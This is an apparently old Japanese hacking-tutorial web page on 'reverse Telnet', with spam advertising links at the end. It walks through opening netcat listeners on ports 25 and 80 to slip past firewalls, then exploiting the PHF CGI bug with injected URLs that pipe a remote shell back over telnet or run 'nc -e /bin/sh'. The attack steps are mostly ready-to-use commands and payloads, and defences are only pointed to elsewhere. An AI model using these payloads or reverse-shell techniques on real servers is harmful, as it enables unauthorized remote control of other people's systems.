特別講座<リバースTelnet編>


■リバースTelnet

  リバースTelnetは、telnet(詳細は、基礎TELNET講座を参照せよ)の使用によってターゲットサーバからAttackerのシステムへバックチャンネルを作成する。詳細は、リバースTelnet利用による方法を参照してください。

 

■バックチャンネルの作り方

●リバースTelnet利用による方法

1、ncリスナーを有効にする。

[attacker-host]# nc -l -n -v -p 25

[attacker-host]# nc -l -n -v -p 80

(注意1)上のコマンドを実行する前に、ポート25と80を他のサービス(HTTPD、Sendmail)が占領してないようにしておく。もし、サービスが既にリスンしている場合、killコマンドで削除しておき、ncが各ポートにバインドされるようにする。

(注意2)何故、ポート25と80を使用するのかというと途中にファイアウォール(詳細は、基礎ファイアウォール講座を参照せよ)などがあっても25と80のやりとりが一般的に認められているからです。

2、PHFのバグを利用して、「/bin/telnet xxx.xxx.xxx.xxx(ip address of target) 80 | /bin/sh | /bin/telnet xxx.xxx.xxx.xxx(ip address of target) 25」を実行させます。ちなみに、PHFバグについては、基礎phf・php・cgi-binバグ講座を参照せよ。

以下のようにして実行する。

/cgi-bin/phf?Qalias=x%0a/bin/telnet%20xxx.xxx.xxx.xxx(ターゲットのIP)%2080%20|%20/bin/sh%20|%20/bin/telnet%20xxx.xxx.xxx.xxx(ターゲットのIP)%2025

3、バックチャンネルの作成終わり。

 

●ターゲットサーバに-eスイッチつきでコンパイルされたncが存在する場合の方法

1、リバースncバックチャンネルを受信できるようにする。

[attacker-host]# nc -l n -v -p 80

2、リスナを有効にしたら、リモートシステムから「nc -e /bin/sh xxx.xxx.xxx.xxx(ip address of target) 80」のコマンドを実行。

PHFバグを利用して以下を実行する。

/cgi-bin/phf?Qalias=x%0a/bin/nc%20-e%20/bin/sh%20xxx.xxx.xxx.xxx(ターゲットのIP)%2080

 

■対策 

 対策については、特別講座<バックチャンネル編>を参照してください。

 


■参考文献


戻る

専門学校情報が満載♪ 独自ドメインの取得をするなら 海外旅行保険の加入はコチラ!
[PR] | RMT葬式 費用高崎浦安大井町新越谷中国SEO対策消費者金融車 買取テンプレート沖縄旅行免許合宿二輪引越しプレゼントゴルフ会員権留学レーシックマッサージFXアフィリエイトFXホームページ制作デイトレード海外現地情報ハワイ旅行タイバンコクハワイ レンタカーベスト ハワイ ホテル レーツバリ島Hawaii hotelsHawaii Activitiesbhhrハワイホテルテキスト広告
【運営会社「パラダイムシフト」サービス】 ハワイ現地オプショナルツアーリラックマ) - ビジネスクラス航空券 - 格安航空券(1) - 格安航空券(2) - 海外ホテル - 韓国旅行 - タイムシェア - ホテル 予約
無料ホームページ - 携帯ホームページ - 無料ホームページ作成 - レンタルサーバー - ブログ - ヴィラ - ハワイ コンドミニアム - バリ島 ホテル - プーケット ホテル - タイムセル - 口コミ - 格安国際電話 - ホノルルマラソン - サイトパトロール - 誹謗中傷 - 宿泊料金比較 - 口コミ